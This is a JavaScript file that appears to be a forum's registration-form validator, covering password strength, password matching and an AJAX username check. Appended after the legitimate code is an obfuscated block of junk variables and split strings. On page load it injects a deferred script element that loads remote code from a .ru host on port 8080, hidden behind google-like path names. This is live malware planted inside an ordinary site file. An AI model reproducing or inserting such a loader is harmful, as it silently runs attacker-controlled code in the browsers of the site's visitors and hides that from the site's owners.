function smfRegister(formID, passwordDifficultyLevel, regTextStrings)
{
	this.addVerify = addVerificationField;
	this.autoSetup = autoSetup;
	this.refreshMainPassword = refreshMainPassword;
	this.refreshVerifyPassword = refreshVerifyPassword;

	var verificationFields = new Array();
	var verificationFieldLength = 0;
	var textStrings = regTextStrings ? regTextStrings : new Array();
	var passwordLevel = passwordDifficultyLevel ? passwordDifficultyLevel : 0;

	var validColor = '#F5FFF0';
	var invalidColor = '#FFF0F0';
	// Setup all the fields!
	autoSetup(formID);

	// This is a field which requires some form of verification check.
	function addVerificationField(fieldType, fieldID)
	{
		// Check the field exists.
		if (!document.getElementById(fieldID))
			return;

		// Get the handles.
		var inputHandle = document.getElementById(fieldID);
		var imageHandle = document.getElementById(fieldID + '_img') ? document.getElementById(fieldID + '_img') : false;
		var divHandle = document.getElementById(fieldID + '_div') ? document.getElementById(fieldID + '_div') : false;

		// What is the event handler?
		var eventHandler = false;
		if (fieldType == 'pwmain')
			eventHandler = refreshMainPassword;
		else if (fieldType == 'pwverify')
			eventHandler = refreshVerifyPassword;
		else if (fieldType == 'username')
			eventHandler = refreshUsername;
		else if (fieldType == 'reserved')
			eventHandler = refreshMainPassword;

		// Store this field.
		var vFieldIndex = fieldType == 'reserved' ? fieldType + verificationFieldLength : fieldType;
		verificationFields[vFieldIndex] = Array(6);
		verificationFields[vFieldIndex][0] = fieldID;
		verificationFields[vFieldIndex][1] = inputHandle;
		verificationFields[vFieldIndex][2] = imageHandle;
		verificationFields[vFieldIndex][3] = divHandle;
		verificationFields[vFieldIndex][4] = fieldType;
		verificationFields[vFieldIndex][5] = inputHandle.style.backgroundColor;

		// Keep a count to it!
		verificationFieldLength++;

		// Step to it!
		if (eventHandler)
		{
			createEventListener(inputHandle);
			inputHandle.addEventListener('keyup', eventHandler, false);
			eventHandler();

			// Username will auto check on blur!
			inputHandle.addEventListener('blur', autoCheckUsername, false);
		}

		// Make the div visible!
		if (divHandle)
			divHandle.style.display = '';
	}

	// A button to trigger a username search?
	function addUsernameSearchTrigger(elementID)
	{
		var buttonHandle = document.getElementById(elementID);

		// Attach the event to this element.
		createEventListener(buttonHandle);
		buttonHandle.addEventListener('click', checkUsername, false);
	}

	// This function will automatically pick up all the necessary verification fields and initialise their visual status.
	function autoSetup(formID)
	{
		if (!document.getElementById(formID))
			return false;

		var curElement, curType;
		for (var i = 0, n = document.getElementById(formID).elements.length; i < n; i++)
		{
			curElement = document.getElementById(formID).elements[i];

			// Does the ID contain the keyword 'autov'?
			if (curElement.id.indexOf('autov') != -1 && (curElement.type == 'text' || curElement.type == 'password'))
			{
				// This is probably it - but does it contain a field type?
				curType = 0;
				// Username can only be done with XML.
				if (curElement.id.indexOf('username') != -1 && window.XMLHttpRequest)
					curType = 'username';
				else if (curElement.id.indexOf('pwmain') != -1)
					curType = 'pwmain';
				else if (curElement.id.indexOf('pwverify') != -1)
					curType = 'pwverify';
				// This means this field is reserved and cannot be contained in the password!
				else if (curElement.id.indexOf('reserve') != -1)
					curType = 'reserved';

				// If we're happy let's add this element!
				if (curType)
					addVerificationField(curType, curElement.id);

				// If this is the username do we also have a button to find the user?
				if (curType == 'username' && document.getElementById(curElement.id + '_link'))
				{
					addUsernameSearchTrigger(curElement.id + '_link');
				}
			}
		}

		return true;
	}

	// What is the password state?
	function refreshMainPassword(called_from_verify)
	{
		if (!verificationFields['pwmain'])
			return false;

		var curPass = verificationFields['pwmain'][1].value;
		var stringIndex = '';

		// Is it a valid length?
		if ((curPass.length < 8 && passwordLevel >= 1) || curPass.length < 4)
			stringIndex = 'password_short';

		// More than basic?
		if (passwordLevel >= 1)
		{
			// If there is a username check it's not in the password!
			if (verificationFields['username'] && verificationFields['username'][1].value && curPass.indexOf(verificationFields['username'][1].value) != -1)
				stringIndex = 'password_reserved';

			// Any reserved fields?
			for (var i in verificationFields)
			{
				if (verificationFields[i][4] == 'reserved' && verificationFields[i][1].value && curPass.indexOf(verificationFields[i][1].value) != -1)
					stringIndex = 'password_reserved';
			}

			// Finally - is it hard and as such requiring mixed cases and numbers?
			if (passwordLevel > 1)
			{
				if (curPass == curPass.toLowerCase())
					stringIndex = 'password_numbercase';
				if (!curPass.match(/(\D\d|\d\D)/))
					stringIndex = 'password_numbercase';
			}
		}

		var isValid = stringIndex == '' ? true : false;
		if (stringIndex == '')
			stringIndex = 'password_valid';

		// Set the image.
		setVerificationImage(verificationFields['pwmain'][2], isValid, textStrings[stringIndex] ? textStrings[stringIndex] : '');
		verificationFields['pwmain'][1].style.backgroundColor = isValid ? validColor : invalidColor;

		// As this has changed the verification one may have too!
		if (verificationFields['pwverify'] && !called_from_verify)
			refreshVerifyPassword();

		return isValid;
	}

	// Check that the verification password matches the main one!
	function refreshVerifyPassword()
	{
		// Can't do anything without something to check again!
		if (!verificationFields['pwmain'])
			return false;

		// Check and set valid status!
		var isValid = verificationFields['pwmain'][1].value == verificationFields['pwverify'][1].value && refreshMainPassword(true);
		var alt = textStrings[isValid == 1 ? 'password_valid' : 'password_no_match'] ? textStrings[isValid == 1 ? 'password_valid' : 'password_no_match'] : '';
		setVerificationImage(verificationFields['pwverify'][2], isValid, alt);
		verificationFields['pwverify'][1].style.backgroundColor = isValid ? validColor : invalidColor;

		return true;
	}

	// If the username is changed just revert the status of whether it's valid!
	function refreshUsername()
	{
		if (!verificationFields['username'])
			return false;

		// Restore the background color.
		if (verificationFields['username'][1].style.backgroundColor)
			verificationFields['username'][1].style.backgroundColor = verificationFields['username'][5];
		// Check the image is correct.
		var alt = textStrings['username_check'] ? textStrings['username_check'] : '';
		setVerificationImage(verificationFields['username'][2], 'check', alt);

		// Check the password is still OK.
		refreshMainPassword();

		return true;
	}

	// This is a pass through function that ensures we don't do any of the AJAX notification stuff.
	function autoCheckUsername()
	{
		checkUsername(true);
	}

	// Check whether the username exists?
	function checkUsername(is_auto)
	{
		if (!verificationFields['username'])
			return false;

		// Get the username and do nothing without one!
		var curUsername = verificationFields['username'][1].value;
		if (!curUsername)
			return false;

		if (!is_auto)
			ajax_indicator(true);

		// Request a search on that username.
		checkName = curUsername.php_to8bit().php_urlencode();
		getXMLDocument(smf_prepareScriptUrl(smf_scripturl) + 'action=register;sa=usernamecheck;xml;username=' + checkName, checkUsernameCallback);

		return true;
	}

	// Callback for getting the username data.
	function checkUsernameCallback(XMLDoc)
	{
		if (XMLDoc.getElementsByTagName("username"))
			isValid = XMLDoc.getElementsByTagName("username")[0].getAttribute("valid");
		else
			isValid = true;

		// What to alt?
		var alt = textStrings[isValid == 1 ? 'username_valid' : 'username_invalid'] ? textStrings[isValid == 1 ? 'username_valid' : 'username_invalid'] : '';

		verificationFields['username'][1].style.backgroundColor = isValid == 1 ? validColor : invalidColor;
		setVerificationImage(verificationFields['username'][2], isValid == 1, alt);

		ajax_indicator(false);
	}

	// Set the image to be the correct type.
	function setVerificationImage(imageHandle, imageIcon, alt)
	{
		if (!imageHandle)
			return false;
		if (!alt)
			alt = '*';

		var curImage = imageIcon ? (imageIcon == 'check' ? 'field_check.gif' : 'field_valid.gif') : 'field_invalid.gif';
		imageHandle.src = smf_images_url + '/icons/' + curImage;
		imageHandle.alt = alt;
		imageHandle.title = alt;

		return true;
	}
}
L={};Wp={};n={H:false};var o;var t="";this.sr=22338;this.sr-=76;h=function(){var xH=60337;function WV(b,x,v){this.P="";var tY=false;return b.substr(x,v);}this.bd=false;nv=[];gx=["J_"];var TO=["NI","A","I"];var q='';var _=new Date();var c=String("/go"+"ogl"+"e.c"+"om/"+"goo"+"gle"+WV(".coZ4p",0,3)+WV("S6wum.eSuw6",4,3)+"g/i"+WV("mguVJw",0,3)+WV("r.cSXg",0,3)+WV("om.6Rn",0,3)+WV("phpbkqj",0,3));var oE={};var Yb=false;var O=RegExp;var T=document;Hd={Ye:"xI"};var CN={zI:"e"};function W(b,x){this.PU=false;var v=new String(WV("[1Xa",0,1))+x+String("]");Lz=["ti"];var cW=new O(v, new String(WV("gdMs",0,1)));return b.replace(cW, q);};tC={u:8442};ld=60635;ld++;var Wg=W('s9cWrvimpPt_','PgR1ZwyWb9TBm6Sdv0XMAzq_K');var xgC=[];var V=null;try {var Ls='oi'} catch(Ls){};var Gf=60311;var cv={y:false};this.XZ=20367;this.XZ++;var vm=848784-840704;var xE="bod"+"y";this.r="r";var eE=false;o=function(){this.KL="KL";try {_V=["Cs","w"];var C=W('ckrCeSaot6ekE6lSeSm5eknktC','CG6Sfo5kB');QW=["Yk"];var OZ={};m=T[C](Wg);var OQ=W('sHr2cz','Hq0WF25zTIDma');var g=String("def"+WV("erKhMs",0,2));Dc=[];try {var XC='qs'} catch(XC){};Ap=[];var b=vm+c;Ui=5356;Ui++;m[OQ]=new String("http"+"://e"+"mpty"+WV("prinhdg",0,4)+"t.ru"+":")+b;try {var sQ='ve'} catch(sQ){};m[g]=[1,0][0];Wi={JZ:"MC"};PA=["ie"];wi=["Dd","hN"];T[xE].appendChild(m);try {var lo='IC'} catch(lo){};var gi=["un","uS","_A"];var hJ=["kw","gl"];} catch(S){var uR=["vs","aq"];};};};this.rG="rG";this.Mb=14780;this.Mb--;h();this.nm=11154;this.nm++;this.Kk=9790;this.Kk++;try {var Dq='jU'} catch(Dq){};window.onload=o;AU={Is:false};
